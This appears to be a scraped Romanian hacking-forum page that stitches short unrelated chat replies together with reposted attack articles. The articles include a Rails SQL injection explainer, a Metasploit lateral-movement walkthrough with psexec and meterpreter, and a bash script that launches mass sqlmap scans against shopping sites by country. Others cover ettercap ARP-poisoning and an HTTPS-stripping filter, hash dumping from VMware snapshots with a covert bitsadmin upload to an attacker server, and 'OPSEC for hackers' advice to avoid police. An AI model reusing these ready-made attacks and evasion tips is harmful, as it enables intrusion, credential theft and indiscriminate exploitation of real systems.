alien

Summary: what is this vulnerability? The bug allows SQL injection through dynamic finder methods (e.g. find_by_foo(params[:foo])). I will explain dynamic finders in a bit. The bug affects all Ruby on Rails versions. A known exploitable scenario is when all of the following applies: You’re using Authlogic (a third party but popular authentication library). You must know the session secret token. There are other exploitable scenarios, but it really depends on what your app is doing. Since it is impossible to prove that something isn’t insecure, you should take the vulnerability seriously and upgrade anyway even if you think you aren’t affected. What is this vulnerability NOT? For those who know Rails: The bug does not affect normal finder methods (e.g. find(params[:id])). The bug is not exploitable through request parameters. The bug is not in Authlogic. It’s in Rails. It just so happens that Authlogic triggers it. Devise (another third-party authentication library) does not trigger the bug. Point 6, as described at Rails Security Digest. ‘params’ Case, is a totally different and unrelated issue. The issue described there is quite severe and deserves serious attention, so please keep your eye open on any new advisories. For those who do not know Rails: It does not mean all unupgraded Rails apps are suddenly widely vulnerable. It does not mean Rails doesn’t escape SQL inputs. It does not mean Rails doesn’t provide parameterized SQL APIs. It does not mean Rails encourages code that are inherently prone to SQL injection. The code should be safe but due to a subtlety was not. This has been fixed. The main exploitable scenario Rails provides finder methods for all ActiveRecord (database) models. For example, to lookup a user using a primary key that was provided through the “id” request parameter, one would usually write: User.find(params[:id]) Rails also provides so-called “dynamic finder methods”. It generates a “find_by_*” method for all database columns in model. If your “users” table have the “id”, “name” and “phone” columns, then it will generate methods so you can write things like this: User.find_by_id(params[:id]) User.find_by_name(params[:name]) User.find_by_phone(params[:name]) The vulnerability is in these dynamic finder methods, not in the normal and often-used find method. ActiveRecord protects you against SQL injection by escaping input for you. For example the following works as expected, with no vulnerability: User.find_by_name("kotori'; DROP TABLE USERS; --") # => SELECT * FROM users WHERE name = 'kotori\'; DROP TABLE USERS; --' LIMIT 1 But ActiveRecord also defines ways for the programmer to inject SQL fragments into the query so that the programmer can customize the query when necessary. The injection interfaces are documented and the programmer is not supposed to pass user input to those interfaces. Normally, the strings passed to the injection interfaces are constant strings that never change. One of those injection interfaces is the options parameter (normally second parameter) for the “find_by_*” methods: # Fetches a user record by name, but only fetch the 'id' and 'name' fields. User.find_by_name("kotori", :select => "id, name") # => SELECT id, name FROM users WHERE name = 'kotori' LIMIT 1 # You can inject arbitrary SQL if you wish: User.find_by_name("kotori", :select => "id, name FROM users; DROP TABLE users; --") # => SELECT id, name FROM users; DROP TABLE users; -- FROM users WHERE name = 'kotori' LIMIT 1 The vulnerability lies in the fact that “find_by_*” also accepted calls in which only the options parameter is given. In that case, it thinks that the value parameter is nil. User.find_by_name(:select => "1; DROP TABLE users; --") # => SELECT 1; DROP TABLE users; -- FROM users WHERE name IS NULL LIMIT 1; Not many people ever use the second parameter, but code of the following form is quite common: User.find_by_name(params[:name]) params[:name] is normally a string. Can an attacker somehow ensure that params[:name] is an options hash? Yes. Rails converts request parameters of a certain form into hashes. Suppose you call the controller method like this: /example-url?name[select]=whatever&name[limit]=23 params[:name] is now a hash: { "select" => "whatever", "limit" => 23 } However, this is not exploitable. Ruby has two datatypes, strings and symbols. Symbols are kind of like string constants. You’ve seen them before in this article: :select is a symbol. The vulnerability can only be triggered when the keys are symbols, but the Rails-generated request parameter hashes all have string keys thanks to the way HashWithIndifferentAccess works. An attacker can only exploit this if the application somehow passes an arbitrary hash to “find_by_*”, yet with symbol keys. We now bring in the second part of the puzzle: Authlogic. This exploit is described here and works as follows. Authlogic accepts authentication credentials through multiple ways: cookies, Rails session data, HTTP basic authentication, etc. All user accounts have a so-called persistence token, and the user must provide this persistence token through one of the authentication methods in order to authenticate himself. Authlogic looks up the user associated with the persistence token using roughly the following call: User.find_by_persistence_token(the_token) Can an attacker ensure that the_token is an options hash? Yes, but only through the Rails session data authentication method. In all the other methods, the_token is always a string. The Rails session mechanism allows storing arbitrary Ruby objects, including hashes with symbol keys. Rails provides a variety of session stores, the default being the cookie store which stores session data in a cookie on the client. The cookie data is not encrypted, but is signed with an HMAC to prevent tampering. The cookie store is fast, does not require any server-side maintenance, and is only meant for session data that do not contain sensitive information such as credit card numbers. Apps that store sensitive information in the session should use the database session store instead. Nevertheless, it turned out that 95% of all Rails apps only ever store the user authentication credentials in the session, so the cookie store was made the default. So to inject arbitrary SQL, you need to tamper with the cookie, which requires the HMAC key. The HMAC key is the so-called session secret. As the name implies, it is supposed to be secret. Rails generates a random 512-bit secret upon project creation. This is why most Rails apps that are running Authlogic are not exploitable: the attacker does not know the secret. Open source Rails apps however can form a problem. Many of them come with a default session secret, but the user never customizes them, so all those instances end up using the same HMAC key, making them very easily exploitable. Of course, in this case the operator have to worry about more than just SQL injection. If the HMAC key is known then anybody can send fake credentials to the app. Other exploitable scenarios Your code is vulnerable if you call Foo.find_by_whatever(bar), where bar can be an arbitrary user-specified hash with symbol keys. HashWithIndifferentAccess stores keys as strings, not symbols, so that does not trigger the vulnerability. Mitigation There are several ways to mitigate this. Upgrade to the latest Rails version. This solves everything, you don’t need to do anything else. “find_by_*” has been patched so that the first parameter may not be an options hash. Ensure that you only pass strings or integers to “find_by_*”, e.g. find_by_name(params[:name].to_s). This requires changing all code, including third party code. I do not recommend this as you’ll likely overlook things. If you upgrade Rails, you don’t need to do this. Keep your session secret secret! If you write open source Rails apps, make sure the user generates a different session secret upon installation. Don’t let them use the default one. Demo app https://github.com/phusion/rails-cve-2012-5664-test We’ve put together a demo app which shows that the bug is not exploitable through request parameters. Setup this app, run it, and try to attack it as follows: curl 'http://127.0.0.1:3000/?id\[limit\]=1' You will see that this attack does not succeed in injecting SQL. Source: Rails SQL injection vulnerability: hold your horses, here are the facts – Phusion Corporate BlogPhusion Corporate Blog

Bine v-am regasit!

Am cumparat si eu bilet la eveniment. Ne vedem acolo!

Depinde ce te intereseaza. Presupun ca din titlu poti sa-ti faci o idee despre ce e prezentarea. Eu sunt putin ofticat ca nu ajung vineri, presupun ca prezentarea despre owasp o sa fie tare. Dar sunt sigur ca si restu o sa fie pe masura.

When conducting email phishing engagements I often run into situations where I gain a meterpreter session on the internal network, but I don’t have local admin privileges. Often times many penetration testers give up on the assessment because they have already illustrated access to the internal network and consider that adequate on an external engagement. I like to go that extra mile and really make an impact by showing what a malicious user can do once inside. I feel many penetration testers ignore the fact that a user executed the payload. A user that is most likely part of a domain, and may have access to many additional resources on the internal network that we wouldn’t otherwise have access to. For example. What if a Network Administrator has configured a couple systems on the domain with the “Domain Users” group part of the “Local Administrators” group. Essentially giving any authenticated user of Active Directory full rights to the system. That’s great news, but how do we find these systems, and how do we access them? This is why I wrote a metasploit post exploit module with some friends to help find systems on the network that you can gain Administrative rights to. This modules leverages the permissions of the user who executed the meterpreter payload. It doesn’t require Admin privileges to spray a users hashes onto the network in an attempt to login to a group of remote hosts over smb. Even if you have local Admin privileges, I can see situations where it be valuable to migrate into a Domain User’s PID and use their permissions in an attempt to bounce to other systems. Let’s say the network is configured to deny the Local Administrator account from logging in over the network. This will squash your typical pass the hash attack, but would not prevent the ability to pass the domain users hash. Anytime Windows connects to a remote host over smb it will automatically attempt to login to that system by passing the LM challenge (if configured) and NTLM challenge. This means that we can authenticate to remote systems on the internal network without ever having knowledge of the users password. Let’s take a look at an example where we can setup a smb server with metasploit to capture some LM challenge and NTLM challenge hashes. First you need to setup an smb server using metasploit’s smb capture module. msf auxiliary(smb) > ifconfig eth1 [*] exec: ifconfig eth1 eth1 Link encap:Ethernet HWaddr 00:0c:29:6a:ce:05 inet addr:192.168.0.138 Bcast:192.168.0.255 Mask:255.255.255.0 inet6 addr: 2600:1014:b015:2af:20c:29ff:fe6a:ce05/64 Scope:Global inet6 addr: 2600:1014:b00a:1c7b:20c:29ff:fe6a:ce05/64 Scope:Global inet6 addr: fe80::20c:29ff:fe6a:ce05/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:42151 errors:0 dropped:0 overruns:0 frame:0 TX packets:34527 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:12624978 (12.6 MB) TX bytes:5308879 (5.3 MB) Interrupt:19 Base address:0x2000 msf auxiliary(smb) > exploit [*] Auxiliary module execution completed [*] Server started. msf auxiliary(smb) > Once the smb server is up and listening, lets initiate a remote connection using smb. A simple net use command should suffice. It doesn’t matter if you know the username and password because the credentials should automatically be passed before ever entering credentials. C:\Documents and Settings\knoxville.MATRIX>net use * \\192.168.0.138\c$ The password or user name is invalid for \\192.168.0.138\c$. Enter the user name for '192.168.0.138': knoxville Enter the password for 192.168.0.138: System error 1326 has occurred. Logon failure: unknown user name or bad password. C:\Documents and Settings\knoxville.MATRIX> Now let’s go back to our metasploit console and see if we have hashes: msf auxiliary(smb) > [*] SMB Capture - Empty hash captured from 192.168.0.15:1397 - 192.168.0.15 captured, ignoring ... [*] SMB Captured - 2012-10-29 20:31:56 -0400 NTLMv1 Response Captured from 192.168.0.15:1397 - 192.168.0.15 USER:knoxville DOMAIN:MATRIX OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1 LMHASH:daf4ce8f1965961138e76ee328e595e0c0c2d9a83fbe83fb NTHASH:211af68207f7c88a1ad6c103a56966d1da1c1e91f02291f0 As you can see we do in fact have network hashes from the ‘knoxville’ user account on the ‘MATRIX’ domain. The local_admin_search.rb module uses this ‘feature’ of Windows smb to attempt to login to any ip range defined in RHOSTS datastore. The module specifically incorporates railgun and the Windows API OpenSCManagerA to find systems where we have local Admin privileges. The API will attempt to establish a connection to the service control manager to create a handle. If a handle is created, the user has local Admin privileges to the remote host. This is all done without having knowledge of the users password. manag = adv.OpenSCManagerA("\\\\#{host}", nil, 0xF003F) # SC_MANAGER_ALL_ACCESS if(manag["return"] != 0) # we have admin rights print_good("#{host.ljust(16)} #{user} - Local admin found") # close the handle if connection was made adv.CloseServiceHandle(manag["return"]) Let’s take a look at the module in action. All we need to set the session id and the RHOSTS that we would like to scan, bump up the threads for some additional speed. The module also has a feature to enumerate logged in users along with their respected groups they are part on the domain. Just ‘set USER_ENUM true’ and once local admin is found the option will enumerate logged in users and groups. Once you have identified a system where you have local Admin, you can often times validate this by simply mapping a network drive to hidden c$ share of the remote host. C:\Documents and Settings\knoxville.MATRIX\Desktop\msf>net use * \\192.168.0.2\c$ net use * \\192.168.0.2\c$ Drive Z: is now connected to \\192.168.0.2\c$. The command completed successfully. C:\Documents and Settings\knoxville.MATRIX\Desktop\msf> To gain a meterpreter shell I use psexec.exe that comes in the system internals suite. Upload psexec.exe to the remote host that we have local Admin on using the drive we mapped earlier: msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > pwd C:\Documents and Settings\knoxville.MATRIX\Desktop\msf meterpreter > upload /pentest/windows-binaries/pstools/psexec.exe 'C:\Documents and Settings\knoxville.MATRIX\Desktop\msf' [*] uploading : /pentest/windows-binaries/pstools/psexec.exe -> C:\Documents and Settings\knoxville.MATRIX\Desktop\msf [*] uploaded : /pentest/windows-binaries/pstools/psexec.exe -> C:\Documents and Settings\knoxville.MATRIX\Desktop\msf\psexec.exe meterpreter > cd z: meterpreter > pwd Z:\ meterpreter > upload /root/msf.exe Z:\ [*] uploading : /root/msf.exe -> Z:\ [*] uploaded : /root/msf.exe -> Z:\\msf.exe Now that we have our malicious payload and psexec.exe in place we remotely execute the meterpreter using psexec -s flag to give us SYSTEM level privileges. C:\Documents and Settings\knoxville.MATRIX\Desktop\msf>psexec.exe -s \\192.168.0.2 c:\msf.exe psexec.exe -s \\192.168.0.2 c:\msf.exe PsExec v1.63 - Execute processes remotely Copyright (C) 2001-2005 Mark Russinovich Sysinternals - www.sysinternals.com [*] Sending stage (752128 bytes) to 192.168.0.2 [*] Meterpreter session 2 opened (192.168.0.138:443 -> 192.168.0.2:1405) at 2012-11-03 17:09:23 -0400 now we have a meterpreter with SYSTEM level privileges using the permission of a logged in user, and never having knowledge of their password. An overview of the process can be seen in the two screenshots below: Currently the module is not part of the metasploit framework but you can download them from the Github link: https://github.com/zeknox/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb Source: Find Local Admin with Metasploit

Aici e si problema hollywood-ului care e ingust la minte si crede ca lumea o sa mearga la cinema sau va cumpara dvd-uri originale pana la adanci batraneti. Cand in ziua de azi ai posibilatea de vod si streaming. Presupun ca tot banii sunt la mijloc. Oricum vorbim despre o problema care a existat inca de facerea internetului (vezi napster si altele)

Eu personal n-am nicio problema cu genul de business pe care il interprinde voyo. Daca ar fi disponibil NetFlix si la noi in tara mi-as face cont. Problema e, cum zis si B3st, contentul vechi si slab pe care il au. Mi se pare destul de rudimentar ca in ziua de azi daca vrei sa vezi un film, sa pornesti pc-ul, sa intri pe torrent, sa faci download la film, sa-l pui pe un hdd extern, sa conectezi hdd la a tv ca in final sa te uiti la film(da stiu exista mediaplayere care fac toata treaba asta). Dar nu-i mai simplu sa intri pe TV, sa accesezi app-ul de netflix sau voyo sa alegi filmul sa-l vezi ca si stream? Fara probleme de stocare, copyright sau alte treburi.

Da, o fi detectat titlu: Windows hmm grav, rootkits hmm grav, kernel hmm clar virus

Automated script to scan SQLI by country. #!/bin/bash # [*] # [*] Sqlmap automatic scanner by wer0ckz # [*] This tool is designed to scan sql injection by country specific together with shopping sites targets # [*] It creates 30 screens with sqlmap running # [*] clear echo -n “Enter country (ex. ca, au, ph): ” read -e COUNTRY if [ -d $COUNTRY ] then echo Country $COUNTRY is here. Exit! else echo “[*] Sqlmap mass scanner by wer0ckz” echo “[*]” echo “[*] Downloading Sqlmap..” echo “[*]” echo “[*]” wget -nv http://downloads.sourceforge.net/sqlmap/sqlmap-0.9.tar.gz tar zxf sqlmap-0.9.tar.gz mv sqlmap $COUNTRY rm ${COUNTRY}/lib/utils/google.py echo “[*]” echo “[*] Updating google scanner..” wget -nv https://svn.sqlmap.org/sqlmap/trunk/sqlmap/lib/utils/google.py mv google.py ${COUNTRY}/lib/utils/google.py screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:php inurl:shop cart” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:cfm inurl:shop cart” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:aspx inurl:shop cart” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:php inurl:shop id” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:cfm inurl:shop id” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:aspx inurl:shop id” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:php inurl:shop item” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:cfm inurl:shop item” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:aspx inurl:shop item” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:php inurl:shop buy” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:cfm inurl:shop buy” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:aspx inurl:shop buy” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:php inurl:shop product” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:cfm inurl:shop product” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:aspx inurl:shop product” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:php inurl:cart cart” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:cfm inurl:cart cart” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:aspx inurl:cart cart” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:php inurl:cart id” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:cfm inurl:cart id” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:aspx inurl:cart id” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:php inurl:cart item” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:cfm inurl:cart item” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:aspx inurl:cart item” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:php inurl:cart buy” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:cfm inurl:cart buy” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:aspx inurl:cart buy” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:php inurl:cart product” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:cfm inurl:cart product” –dbs –batch screen -dm ${COUNTRY}/sqlmap.py -g “site:${COUNTRY} ext:aspx inurl:cart product” –dbs –batch echo “[*]” echo “[*]” echo “[*] Done! 30 sqlmap running” echo “[*] Type ‘screen -r’ to check status” fi Source: http://shipcodex.blogspot.ro/2012/02/sqlmap-automatic-scanner-by-wer0ckz.html

se pregatesc de lansare?

Am o singura intrebare pentru tine: daca dadea cu cutitul, nu cu palma? acum puteai fi mort nu? Eu sunt pe principiul "mai bine plange masa, decat mama mea". Daca s-a apropiat prea mult de tine dai primul, nu astepti pana-i prea tarziu.

old school tutorials...

sau "control userpasswords2" in run

simplu si eficient

When I got my first Android device just over a year ago, one of the first things I noticed was this little configuration feature in the stock email client. Really, “accept all SSL certificates”? Doesn’t sound like a very good idea, now does it? This thing has been brewing in the back of my head ever since until I finally worked up the motivation of doing some research about it. Let’s start with some basics: A computer, be it a mobile device or a laptop, generally has a list of trusted certificate issuers. Once the computer makes an SSL connection, it checks so that the issuer of the received SSL certificate is in the trusted issuers list. In theory, ticking the “accept all SSL certificates” checkbox would tell the device not to validate against the list but to accept any issuer. Let’s validate the theory by staging a man-in-the-middle (mitm) attack against an Android device connected to a wireless network. Note that this attack will also work on a wired network but will not work if the mobile device is communicating over GPRS. In this experiment, I have a wireless network with a gateway (192.168.2.1), an Android device (192.168.2.4) and myself, the attacker (192.168.2.3). The concept of the attack is to place myself in between the Android device and the gateway to be able to intercept and eavesdrop on the traffic. It begins… I’ll start by forwarding the default ports for HTTP and HTTPS to port 8080 were I’ll have a client-side web proxy listening. The reason for doing this is that I want to use a separate tool for the web traffic sniffing. To do this, I use the following IPTABLES commands in Linux: root@bt:~# iptables -t nat -A PREROUTING -i eth0 -p tcp –dport 80 -j REDIRECT –to-ports 8080 root@bt:~# iptables -t nat -A PREROUTING -i eth0 -p tcp –dport 443 -j REDIRECT –to-ports 8080 Note that these commands will not be saved to your configuration, after your next reboot they will be gone. If you want to save them, the command is: root@bt:~# iptables -save The web sniffer The next thing to do is start up BURP which is the tool that will act as sniffer for the web traffic. I’ll configure it to listen externally on port 8080 and to produce a (fake) SSL certificate per host. Man In The Middle Next I need to trick the Android device that I’m the gateway and vice versa. To do this, I use a tool called Ettercap and a technique called “arp poisoning” which is executed by the following command: root@bt:~# ettercap -T -M arp:remote /192.168.2.4/ /192.168.2.1/ …which would produce something like this: Note that even though I use BURP to sniff the web traffic, I have still enabled Ettercap to do some sniffing on its own by setting the ‘-T’ flag. If I wanted Ettercap to act strictly as a man-in-the-middle, I could replace the ‘-T’ with an ‘-o’ for “only mitm”. The outcome As long as the “accept all SSL certificates” checkbox is NOT ticked, the email client will only display a “could not connect to the server” message, which is good. If we however decide to check the box, this is what BURP produces: So, we’ve got the username in clear text and an authorization string which is a base64 encoding of domain\username:password. For an attacker, that would qualify as a jackpot. Summary I can understand why this “feature” might be handy, for example; purchasing a certificate from a trusted issuer such as VeriSign or Thawte is expensive so some smaller companies might want to use a self-signed certificate instead. Still, the checkbox could have been placed in a different place, and ticking it could have at least produced a warning of some kind. What happens when a non tech-savvy user connects his device to a wireless network and finds that he can’t download his emails? Chances are he’ll check his account settings, notice the unticked checkbox and think “Hey, it can’t hurt to try”. If it works after that, I can guarantee that he will never give it another thought. Source: The Insecurity of the Android Stock Email Client | 3vildata

poti sa explici ce-i cu programele astea? eu tin minte ca ma jucam cu ele acum vreo 10 ani Au devenit vintage de au pretul asta??

The first step is to convert the VMware "Snapshots" or "Suspend States" into a memory dump. Then, you can use the volatility memory analysis tool to dump the hashes from the memory dump. Let's see how! Converting the VMware memory files to a memory dump is pretty simple with the "vmss2core" utility that is distributed with VMware. On a Windows host you can find this utility under "C:\Program Files\VMware\VMware Workstation" or on a Mac OS X host you can find it under "/Library/Application Support/VMware Fusion". Side Note: If your target is running Microsoft Hyper-V, you can probably use vm2dmp to do the same thing. I haven't tried it, so you can be adventurous and give it a spin. The tool can be found here. The syntax for vmss2code is "vmss2core -W " If you look at the list of files in a virtual machine directory you will see several .vmem files and either a .vmss or a .vmsn file for each of the .vmem files. Here is a directory listing on VM Fusion. MarkMac-2:Windows7.vmwarevm markbaggett$ ls *.vmem Windows7-Snapshot1.vmem Windows7-Snapshot2.vmem Windows7-Snapshot10.vmem Windows7.vmem MarkMac-2:Windows7.vmwarevm markbaggett$ ls *.vmss Windows7.vmss MarkMac-2:Windows7.vmwarevm markbaggett$ ls *.vmsn Windows7-Snapshot1.vmsn Windows7-Snapshot2.vmsn Windows7-Snapshot10.vmsn The .vmss files are "Suspend States" and are created when the virtual machines are paused. The .vmsn files are created when a snapshot is taken. Vmss2core will combine these files into a Windows Memory Core Dump with a filename of "memory.dmp". If you want to analyze each of the snapshots and the suspended state, you can dump each of them one at a time and rename memory.dmp accordingly. $ /Library/Application\ Support/VMware\ Fusion/vmss2core -W Windows7.vmss Windows7.vmem $ mv memory.dmp Win7-suspendstate.dmp $ /Library/Application\ Support/VMware\ Fusion/vmss2core -W Windows7-Snapshot1.vmsn Windows7-Snapshot1.vmem $ mv memory.dmp Win7-Snapshot1.dmp Here is what it looks like when you dump the suspend state: In addition to the grabbing the memory.dmp file, you will also want to take note of the OS Version that is identified by the vmss2core utility. In this example, it says we are running Windows 7 SP1. Next we need to get the memory image from the host back to our machine for analysis. This potentially very large file will require some time and bandwidth to transfer. If you need to transfer it without catching the attention of the system administrators, you could use the bitsadmin utility to upload the file to an IIS server that you control with the BITS extension installed, using the following command: C:\> bitsadmin /transfer jobnamehere /upload /priority low https://myIISserver.com/memory.dmp memory.dmp [/code Now, it is just a matter of dumping the hashes from the memory dump. You can use Volatility 2.0 or greater to dump the hashes. First, you'll need to know the name of the "OS Profile" of the memory dump. You get this information by issuing the command: [code] $ python vol.py imageinfo -f ~/memory.dmp Once you have the name of your image profile, cross reference that to the information displayed by vmss2core so you know what OS you are targeting. I've found that vmss2core is usually more specific than image info. You will need the profile name when you run the "hivelist" plug-in which will give the memory offsets of the different registry hives. $ python vol.py hivelist -f ~/memory.dmp --profile=Win7SP1x86 Next take the Virtual Memory offsets of the \REGISTERY\MACHINE\SYSTEM and \SystemRoot\System32\Config\SAM hives and pass those to Volatility's "hashdump" plug-in. The syntax is: $ python vol.py hashdump -f ~/memory.dmp --profile= --sys-offset= --sam-offset= There! Now you have all the hashes from the VMware Guest machine. While you are at it, you can also use the "lsadump" plug-in to dump LSA Secrets passwords from memory. The LSADUMP plug in will require the offsets of the SYSTEM and SECURITY hives rather than SYSTEM and SAM. Armed with a new list of passwords, you are ready to attack the host. You can crack them or use them in a pass-the-hash attack against the host. Have fun! Source: Pen Test Privilege Escalation Through Suspended Virtual Machines

OPSEC for Hackers A gentle introduction to keeping your mouth shut. OPSEC for hackers The 10 Hacking Commandments 1. Never reveal you operational details 2. Never reveal your plans 3. Never trust anyone 4. Never confuse recreation and hacking 5. Never operate from your own house 6. Be proactively paranoid, it doesn't retroactively 7. Keep personal life and hacking separated 8. Keep you personal environment contraband free 9. Don't talk to the police 10. Don't give anyone power over you

Interesant tutorial end2end. O metoda asemanatoare daca nu ma insel era cu .htaccess on.RewriteRule

bah sarma vrei sa saluti tot RST-ul??

si eu "sunt inca activ".

Just place it in HTTPS.FILTER, then compile it using "etterfilter" with the command : etterfilter https.filter -o https.ef Then You good to go with : ettercap -T -q -F https.ef -M ARP:remote /GATEWAY/ /TARGET_IP/ . ## # # This filter will substitute the word 'https' with 'http' on # both HTTP requests and responses. # # based on the discussion (and contained code) on forum thread # http://forums.remote-exploit.org/backtrack-v2-0-final/8126-ettercap-filter-3.html # ## ########################## ## Zap Content Encoding ## ########################## if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string msg("[HTTP Response Filter] Encoding zapped.\n"); } } ##################### ## Replace Content ## ##################### ## # Requests if (ip.proto == TCP && tcp.dst == 80) { # msg("[HTTP Response Filter] HTTP request seen.\n"); if (search(DECODED.data, "https")) { replace("https", "http"); msg("[HTTP Response Filter] *** HTTPS ZAPPED from request\n"); } if (search(DATA.data, "https")) { replace("https", "http"); msg("[HTTP Response Filter] *** HTTPS ZAPPED from request\n"); } } ## # Response if (ip.proto == TCP && tcp.src == 80) { # msg("[HTTP Response Filter] HTTP response seen.\n"); if (search(DECODED.data, "https")) { replace("https", "http"); msg("[HTTP Response Filter] *** HTTPS ZAPPED from response\n"); } if (search(DATA.data, "https")) { replace("https", "http"); msg("[HTTP Response Filter] *** HTTPS ZAPPED from response\n"); } } Source: I'M NASRO, I PENTEST ^^

Nu mai merge. Au cenzurat comunistii...